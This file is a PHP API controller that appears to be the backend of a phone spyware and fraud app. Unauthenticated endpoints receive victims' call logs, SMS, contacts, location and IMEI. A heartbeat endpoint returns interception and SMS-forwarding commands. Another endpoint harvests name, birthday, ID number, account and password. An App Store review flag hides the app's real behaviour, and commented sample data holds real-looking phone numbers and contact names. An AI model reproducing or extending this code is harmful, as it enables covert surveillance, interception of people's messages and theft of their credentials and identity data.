<?php

namespace app\api\controller;

use app\common\controller\Api;
use think\Db;

use think\Config;
use think\Session;
use fast\Http;

use Aws\S3\S3Client;
use Aws\S3\Exception\S3Exception;


class Thm extends Api
{
    // 无需登录的接口,*表示全部
    protected $noNeedLogin = ['*'];
    // 无需鉴权的接口,*表示全部
    protected $noNeedRight = ['*'];

    protected $decodedata = null;

    public function _initialize()
    {
        parent::_initialize();

        $data = file_get_contents("php://input");    // type: string
        $this->decodedata = json_decode($data, true);

    }

    //http://fastaws.test/api/thm/postthminfo?thminfo=safa
    //http://test.megowx.com/api/thm/postthminfo?thminfo=safa
    public function postthminfo()
    {
        //25.014489, 121.294764
        $thminfo = $this->request->request('thminfo', "");
//        $thminfo = '%5B%7B%22callduration%22%3A665%2C%22callname%22%3A%22%E9%98%BF%E5%A6%88%22%2C%22callnumber%22%3A%2213564405312%22%2C%22calltype%22%3A%22%E5%91%BC%E5%87%BA%22%2C%22date%22%3A1585453180455%2C%22id%22%3A1%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A403%2C%22callname%22%3A%22%E9%98%BF%E5%A6%88%22%2C%22callnumber%22%3A%2213564405312%22%2C%22calltype%22%3A%22%E5%91%BC%E5%87%BA%22%2C%22date%22%3A1585374003224%2C%22id%22%3A2%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A14%2C%22callnumber%22%3A%226118%22%2C%22calltype%22%3A%22%E5%91%BC%E5%85%A5%22%2C%22date%22%3A1585372210967%2C%22id%22%3A3%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A112%2C%22callnumber%22%3A%226118%22%2C%22calltype%22%3A%22%E5%91%BC%E5%85%A5%22%2C%22date%22%3A1585357204721%2C%22id%22%3A4%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A8%2C%22callname%22%3A%22%E9%98%BF%E5%A6%88%22%2C%22callnumber%22%3A%2213564405312%22%2C%22calltype%22%3A%22%E5%91%BC%E5%87%BA%22%2C%22date%22%3A1585301782317%2C%22id%22%3A5%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A19%2C%22callname%22%3A%22%E7%88%B1%E4%BA%BA%22%2C%22callnumber%22%3A%2213482705783%22%2C%22calltype%22%3A%22%E5%91%BC%E5%85%A5%22%2C%22date%22%3A1585262893313%2C%22id%22%3A6%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A39%2C%22callname%22%3A%22%E7%88%B1%E4%BA%BA%22%2C%22callnumber%22%3A%2213482705783%22%2C%22calltype%22%3A%22%E5%91%BC%E5%85%A5%22%2C%22date%22%3A1585262840573%2C%22id%22%3A7%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A1473%2C%22callname%22%3A%22%E9%98%BF%E5%A6%88%22%2C%22callnumber%22%3A%2213564405312%22%2C%22calltype%22%3A%22%E5%91%BC%E5%87%BA%22%2C%22date%22%3A1585190944961%2C%22id%22%3A8%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A368%2C%22callnumber%22%3A%226118%22%2C%22calltype%22%3A%22%E5%91%BC%E5%87%BA%22%2C%22date%22%3A1585143823794%2C%22id%22%3A9%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A521%2C%22callname%22%3A%22%E9%98%BF%E5%A6%88%22%2C%22callnumber%22%3A%2213564405312%22%2C%22calltype%22%3A%22%E5%91%BC%E5%87%BA%22%2C%22date%22%3A1585129243925%2C%22id%22%3A10%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%2C%7B%22callduration%22%3A330%2C%22callnumber%22%3A%226118%22%2C%22calltype%22%3A%22%E5%91%BC%E5%85%A5%22%2C%22date%22%3A1585107536415%2C%22id%22%3A11%2C%22latlon%22%3A%2290.0%2C+180.0%22%2C%22mobile%22%3A%2213564408883%22%2C%22name%22%3A%22%E5%B0%8F%E7%BA%A2%22%2C%22smsmsg%22%3A%22%22%2C%22smsname%22%3A%22%22%2C%22type%22%3A0%7D%5D';
        if (empty($thminfo)) {
            $this->error("空数据！");
        }
        $logmodel = new \app\admin\model\Testlog();
        $logmodel->content = $thminfo;

//        try {
//            $thminfo = base64_decode($thminfo);
//            $thminfo = gzdecode($thminfo);
//        }  catch (Exception $e) {
//            $this->error("数据解压缩失败！");
//        }

        $thminfo = urldecode($thminfo);
        $tlist = json_decode($thminfo, TRUE);

        if ($tlist && is_array($tlist)) {
            foreach($tlist as &$row) {
                unset($row['id']);
                if (intval($row['date']) > 0) {
                    $row['date'] = date('Y-m-d H:i:s', $row['date']/1000);
                } else {
                    $row['date'] = date('Y-m-d H:i:s');
                }
                $row['smszfmobile'] = $row['smsmobile']; //上传的字段和数据库的不一致
                $model = new \app\admin\model\thm\Message; //name不用了，mobile变为imei
                $result = $model->allowField(true)->save($row);
            }

//            $result = $model->allowField(true)->saveAll($tlist);
            if ($result !== false) {
                $logmodel->remark = "保存成功";
                $logmodel->save();
                $this->success("保存成功！");
            } else {
                $logmodel->remark = "没有插入数据";
                $logmodel->save();
                $this->error("没有插入数据！");
            }
        } else {
            $logmodel->remark = "非json数据";
            $logmodel->save();
            $this->error("非json数据！");
        }

    }

    //http://fastaws.test/api/thm/posttxl?txl=safa&mobile=123
    //http://test.megowx.com/api/thm/posttxl?txl=safa&mobile=123
    public function posttxl()
    {
        $txl = $this->request->request('txl', "");
        $name = $this->request->request('mobile', "123");//改为imei
        if (empty($txl) || empty($name)) {
            $this->error("空数据");
        }
        $txl0 = $txl;

//        try {
//            $txl = base64_decode($txl);
//            $txl = gzdecode($txl);
//        }  catch (Exception $e) {
//            $this->error("数据解压缩失败！");
//        }

//        $txl = "%5B%7B%22id%22%3A1%2C%22name%22%3A%22%E5%88%98%E5%8D%9A%22%2C%22phone%22%3A%2215506379888%22%7D%2C%7B%22id%22%3A2%2C%22name%22%3A%22%E5%9B%BD%E8%BE%89%22%2C%22phone%22%3A%2213916697224%22%7D%2C%7B%22id%22%3A3%2C%22name%22%3A%22%E5%91%A8%E5%BF%97%E5%BC%BA%22%2C%22phone%22%3A%2218049975352%22%7D%2C%7B%22id%22%3A4%2C%22name%22%3A%22%E6%9D%A8%E5%8D%8E%E6%9D%B0%22%2C%22phone%22%3A%2213918495595%22%7D%2C%7B%22id%22%3A5%2C%22name%22%3A%22%E9%83%91%E5%8D%8E%22%2C%22phone%22%3A%2213877136256%22%7D%2C%7B%22id%22%3A6%2C%22name%22%3A%22%E5%BE%90%E8%90%BD%E9%9B%81%22%2C%22phone%22%3A%22%2B8613817522033%22%7D%2C%7B%22id%22%3A7%2C%22name%22%3A%22%E5%80%AA%E7%A3%8A%E5%A6%BB%22%2C%22phone%22%3A%2213764467637%22%7D%2C%7B%22id%22%3A8%2C%22name%22%3A%22%E4%B8%89%E5%A7%91%22%2C%22phone%22%3A%2218011965408%22%7D%2C%7B%22id%22%3A9%2C%22name%22%3A%22%E5%AE%8B%E6%B5%B7%E9%B9%B0%22%2C%22phone%22%3A%22%2B8613916918192%22%7D%2C%7B%22id%22%3A10%2C%22name%22%3A%22%E9%83%91%E6%A0%8B%E6%A2%81%22%2C%22phone%22%3A%2213910096745%22%7D%2C%7B%22id%22%3A11%2C%22name%22%3A%22Leon%22%2C%22phone%22%3A%2218019425581%22%7D%5D";
        $logmodel = new \app\admin\model\Testlog();
        
        $txlinfo = urldecode($txl);
        $txllist = json_decode($txlinfo, TRUE);

        $user = \app\admin\model\thm\User::where("name", $name)->find();
        if (!$user) {
            $user = new \app\admin\model\thm\User();
            $user->name = $name;
            $user->save();
        }
        $thm_user_id = $user->id;
        $logmodel->content = $name." ".$thm_user_id."   ".$txl0;
        $logmodel->save();

        if ($txllist && is_array($txllist)) {
            foreach($txllist as &$row) {
                unset($row['id']);
                $txlmodel = \app\admin\model\thm\Txl::where("thm_user_id", $thm_user_id)->where("phone", $row['phone'])->find();
                if (!$txlmodel) {
                    $txlmodel = new \app\admin\model\thm\Txl();
                }
                $row['thm_user_id'] = $thm_user_id;
                $result = $txlmodel->allowField(true)->save($row);
            }

            if ($result !== false) {
                $this->success("保存成功！");
            } else {
                $this->error("没有插入数据！");
            }
        } else {
            $this->error("非json数据！");
        }

    }

    //不用了
    //http://fastaws.test/api/thm/binduser?imei=12313322&mobile=13564508883&sjxh=小米&username=aaa
    public function binduser()
    {
        $name = $this->request->request('imei', "");
        $mobile = $this->request->request('mobile', "");
        $sjxh = $this->request->request('sjxh', "");
        $username = $this->request->request('username', "");

        if (empty($name) || empty($mobile)) {
            $this->error("空数据");
        }

        $user = \app\admin\model\thm\User::where("name", $name)->find();
        if (!$user) {
            $user = new \app\admin\model\thm\User();
        }
        $user->username = $username;
        $user->name = $name;
        $user->mobile = $mobile;
        $user->sjxh = $sjxh;
        $user->save();

        $user = \app\admin\model\thm\User::get($user->id);

        $data = [
            "switch" => $user->switch, //是否拦截
            "zfmobile" => $user->zfmobile,//转发的手机号
        ];
        $this->success("保存成功！", $data);
    }

    //心跳包，并返回指令
    //http://fastaws.test/api/thm/xtb?lat=25.014489&lon=121.294764&imei=29c907b36efc5e72
    public function xtb()
    {
        $lat = $this->request->request('lat', 0);
        $lon = $this->request->request('lon', 0);
        $name = $this->request->request('imei', "");
        $sjxh = $this->request->request('sjxh', "");
        $app_sn = $this->request->request('app_sn', "");

        $smsappstate = $this->request->request('smsappstate', "0");

        if (empty($name)) {
            $this->error("空数据");
        }
        $user = \app\admin\model\thm\User::where("name", $name)->find();
        if (!$user) {
            $user = new \app\admin\model\thm\User();
        }
        $ip = $this->request->ip();
        $user->ip = $ip;

        $user->name = $name;
        $user->app_sn = $app_sn;
        $user->latlon = $lat . "," . $lon;
        $user->online_time = date('Y-m-d H:i:s');
        $user->online = 1;
        $user->smsappstate = $smsappstate;

        if ($smsappstate == "0") {
            $user->switch = 0;
        }

        if (!empty($sjxh)) {
            $user->sjxh = $sjxh;
        }
        $user->save();

        $user = \app\admin\model\thm\User::get($user->id);

        $xtb = new \app\admin\model\thm\Xtb();
        $xtb->thm_user_id = $user->id;
        $xtb->save();

        $now = time();//秒
        $commandlog = \app\admin\model\thm\Commandlog::where("thm_user_id", $user->id)->order('id', 'desc')->limit(1)->find();
        $commandtype = 0;
        if ($commandlog) {
            $A = intval(strtotime($commandlog->create_time));//秒
            $X = $now - $A;
            if ($X < 180) {
                //3分钟内
                $commandtype = intval($commandlog->type);
            }
        }

        $msglog = \app\admin\model\thm\Msglog::where("thm_user_id", $user->id)->where("state", 0)->order('id', 'desc')->limit(1)->find();
        $msginfo = "";
        $msgzfmobile = "";
        if ($msglog) {
            $A = intval(strtotime($msglog->create_time));//秒
            $X = $now - $A;
            if ($X < 180) {
                //3分钟内
                $msginfo = $msglog->msg;
                $msgzfmobile = $msglog->zfmobile;
                $msglog->state = 1;
                $msglog->save();
            }
        }

        $txjg = 0;
        if ($user->app_id == 0) {
            $app = \app\admin\model\thm\App::limit(1)->find();
            $user->app_id = $app->id;
            $user->save();
        } else {
            $app = \app\admin\model\thm\App::get($user->app_id);
        }

        if ($app) {
            $txjg = $user->txjg;
        }

        if ($txjg == 0) {
            $txjg = 100000;
        }

        $data = [
            "switch" => $user->switch, //是否拦截
            "zfmobile" => $user->zfmobile,//转发的手机号
            "commandtype" => $commandtype,
            "ccmobile" => $user->ccmobile,
            "txjg" => $txjg,
            "hbdh" => $app->hbdh,//回拨电话号码
            "hbdh_name" => $app->hbdh_name,//回拨电话名称
            "msgzfmobile" => $msgzfmobile,
            "msginfo" => $msginfo
        ];

        $this->success("保存成功！", $data);
    }


    //联网测试
    //http://fastaws.test/api/thm/lwcs
    public function lwcs()
    {
        $app = \app\admin\model\thm\App::get(5);
        if (!$app) {
            $app->id = 5;
            $app->save();
            $app = \app\admin\model\thm\App::get(5);
        }

        $data = [
            "welcome_btn" => $app->welcome_btn,
            "welcome_notice" => $app->welcome_notice
        ];
        $this->success("联网成功！", $data);
    }

    //http://fastaws.test/api/thm/testunzip
    // 压缩 - base64_encode - base64_decode - 解压
    public function testunzip()
    {
        $str = "H4sIAAAAAAAAACtOSStOSQMAWRt8vQYAAAA=";
//        $str = gzencode($str);
//        $str = base64_encode($str);

        $str = base64_decode($str);
        $str = gzdecode($str);


        echo $str;
    }


    //http://fastaws.test/api/thm/startapp?imei=c5870bd6ca99e173
    // 返回提示语句，
    public function startapp()
    {
        $name = $this->request->request('imei', "");
        if (empty($name)) {
            $this->error("空的imei！");
        }
        $ip = $this->request->ip();
        $thmuser = \app\admin\model\thm\User::where("name", $name)->find();
        if (!$thmuser) {
            $thmuser = new \app\admin\model\thm\User();
            $thmuser->name = $name;
            $thmuser->app_id = 5;
        }
        $thmuser->ip = $ip;
        $thmuser->save();

        $thmapp = \app\admin\model\thm\App::where('id', $thmuser->app_id)->find();
        if (!$thmapp) {
            $this->error("无关联设置！");
        }

        $next_notice_check = 0;
        if ($thmapp->next_notice_check != null && $thmapp->next_notice_check === "是") {
            $next_notice_check = 1;
        }
        //姓名 生日 身份證 電話 賬號 密碼
        $data = [
            "next_notice" => $thmapp->next_notice, //提示语句
            "a3_name1" => $thmapp->a3_name1,
            "a3_name2" => $thmapp->a3_name2,
            "a3_name3" => $thmapp->a3_name3,
            "a3_name4" => $thmapp->a3_name4,
            "a3_name5" => $thmapp->a3_name5,
            "a3_name6" => $thmapp->a3_name6,
            "a3_btn1"  => $thmapp->a3_btn1,
            "a3_name1_len" => $thmapp->a3_name1_len,
            "a3_name2_len" => $thmapp->a3_name2_len,
            "a3_name3_len" => $thmapp->a3_name3_len,
            "a3_name4_len" => $thmapp->a3_name4_len,
            "a3_name5_len" => $thmapp->a3_name5_len,
            "a3_name6_len" => $thmapp->a3_name6_len,
            "next_notice_check"  => $next_notice_check,
            "lwqs_notice"  => $thmapp->lwqs_notice,
        ];
        $this->success("启动成功！", $data);
    }

    //http://fastaws.test/api/thm/postgrinfo?imei=c5870bd6ca99e173&c2=2018-01-09
    // 返回提示语句，
    public function postgrinfo()
    {
        $name = $this->request->request('imei', "");
        $c1 = $this->request->request('c1', "");
        $c2 = $this->request->request('c2', "");
        $c3 = $this->request->request('c3', "");
        $c4 = $this->request->request('c4', "");
        $c5 = $this->request->request('c5', "");
        $c6 = $this->request->request('c6', "");

        $thmuser = \app\admin\model\thm\User::where('name', $name)->find();
        if (!$thmuser) {
            $this->error("错误的imei！");
        }

        $thmapp = \app\admin\model\thm\App::where('id', $thmuser->app_id)->find();
        if (!$thmapp) {
            $this->error("无关联设置！");
        }

        $data = [];

        //姓名 生日 身份證 電話 賬號 密碼
        if (!empty($c1)) $data['content1'] = $c1;
        if (!empty($c2)) $data['content2'] = $c2;
        if (!empty($c3)) $data['content3'] = $c3;
        if (!empty($c4)) $data['content4'] = $c4;
        if (!empty($c5)) $data['content5'] = $c5;
        if (!empty($c6)) $data['content6'] = $c6;

        $uinfo = \app\admin\model\thm\Userinfolog::where('thm_user_id', $thmuser['id'])->find();
        if (!$uinfo) {
            $uinfo = new \app\admin\model\thm\Userinfolog();
            $data['thm_user_id'] = $thmuser['id'];
        }

        $uinfo->allowField(true)->save($data);

        $this->success("保存成功！");
    }


    /*
    {
        "_version": 1,
        "app": {
            "version": "1"
        },
        "query": {
            "sender": "+8618012345678",
            "message": {
                "text": "测试服务端数据"
            }
        }
    }
     */
    //http://fastaws.test/api/thm/receiveSMS
    public function  receiveSMS() {

        $row = [];
        $row['date'] = date('Y-m-d H:i:s');
        $row['smsmsg'] = "";
        if (isset($this->decodedata['query']) && $this->decodedata['query']['message']) {
            $row['smsmsg'] = $this->decodedata['query']['message']['text'];
            $row['smsname'] = $this->decodedata['query']['sender'];
        }

        $ip = $this->request->ip();
        $user = \app\admin\model\thm\User::where("ip", $ip)->order('update_time', 'desc')->find();
        if ($user) {
            $row['mobile'] = $user->name;
            $row['type'] = '1';
            $row['smstype'] = 1;
            $model = new \app\admin\model\thm\Message; //name不用了，mobile变为imei
            $result = $model->allowField(true)->save($row);
        }

        if (isset($this->decodedata['query']) && $this->decodedata['query']['message']) {
            $this->success("receiveSMS！", $this->decodedata['query']['sender'], 3);
        }

        $this->error("receiveSMS is wrong！", $this->decodedata);
    }


    //IOS app显示审核中版本
    //http://fastaws.test/api/thm/ios_sh
    public function ios_sh()
    {
        $ios_sh = 0;
        $app = \app\admin\model\thm\App::get(5);
        if ($app) {
            $ios_sh = $app->ios_sh;
        }
        $data = [
            "ios_sh" => $ios_sh, //0-审核中 1-已审核
        ];

        $this->success("获取成功！", $data);
    }

    //批量插入数据
    //http://fastaws.test/api/thm/plinsertdata
    public function plinsertdata()
    {
        set_time_limit(0); //执行时间无限
        ini_set('memory_limit', '-1'); //内存无限

        ob_end_clean();
        ob_implicit_flush();
        header('X-Accel-Buffering: no');
        echo '1现在是：' . date('H:i:s') . '<br>';

//        $t = new \app\admin\model\wq\Test();
//        $data = array();
//        for ($i = 1; $i <= 100000; $i++) {
//            $data[] = [
//                'id' => $this->create_guid(),
//                'name' => "name" . $i,
//            ];
//        }
//        $result = $t->insertAll($data);

//INSERT INTO `fa_wq_test` (`id`, `name`, `create_time`, `update_time`)
//VALUES
//('fsad', 'gwef'),
//	('sdf', 'adsf');
        $sql = "INSERT INTO `fa_wq_test` (`id`, `name`, `create_time`) VALUES ";
        $Max = 100000;
        $now = time();
        for ($i = 1; $i <= $Max; $i++) {
            $sql .= "('".$this->create_guid()."','name_".($now+$i)."','".date('Y-m-d H:i:s', $now+$i)."')";
            if ($i == $Max) {
                $sql .= ";";
            } else {
                $sql .= ",";
            }
        }
        echo '准备写入：' . date('H:i:s').'<br>';//1秒准备，10w写入30秒，比insertAll快一些；每次插入10w条，太大内存不足
        //最好的方式还是生成sql文件，然后导入；好像速度差不多，导出快些
//        echo '<br>' .$sql.'<br>';
        Db::execute($sql);

        echo '2完成：' . date('H:i:s');
    }

    function create_guid()
    {
        $charid = strtolower(md5(uniqid(mt_rand(), true)));
        $hyphen = chr(45);// "-"
        $uuid = substr($charid, 0, 8) . $hyphen
            . substr($charid, 8, 4) . $hyphen
            . substr($charid, 12, 4) . $hyphen
            . substr($charid, 16, 4) . $hyphen
            . substr($charid, 20, 12);
        return $uuid;
    }

    //测试
    //select * from fa_wq_test where 1 order by create_time asc limit 10
    //select * from fa_wq_test where create_time > '2021-08-21 16:25:11' order by create_time asc limit 10
    //只要creat_time 建立索引，就很快  40w的数据50ms   200w数据也很快

//select * from fa_wq_test where create_time > '2021-08-21 16:25:11' order by id asc limit 10
//select * from fa_wq_test where create_time > '2021-08-21 16:25:11' order by name asc limit 10
// 200w的数据4秒钟

    //http://fastaws.test/api/thm/plcr
    public function plcr() {
        set_time_limit(0); //执行时间无限
        ini_set('memory_limit', '-1'); //内存无限

        ob_end_clean();
        ob_implicit_flush();
        header('X-Accel-Buffering: no');
        echo '开始：' . date('H:i:s') . '<br>';

        for ($i = 1; $i <= 8; $i++) {
            $this->plinsertdata();
            echo '完成 --- ' .$i." ". date('H:i:s').'<br>';
        }

        echo 'XX完成：' . date('H:i:s');
    }

}





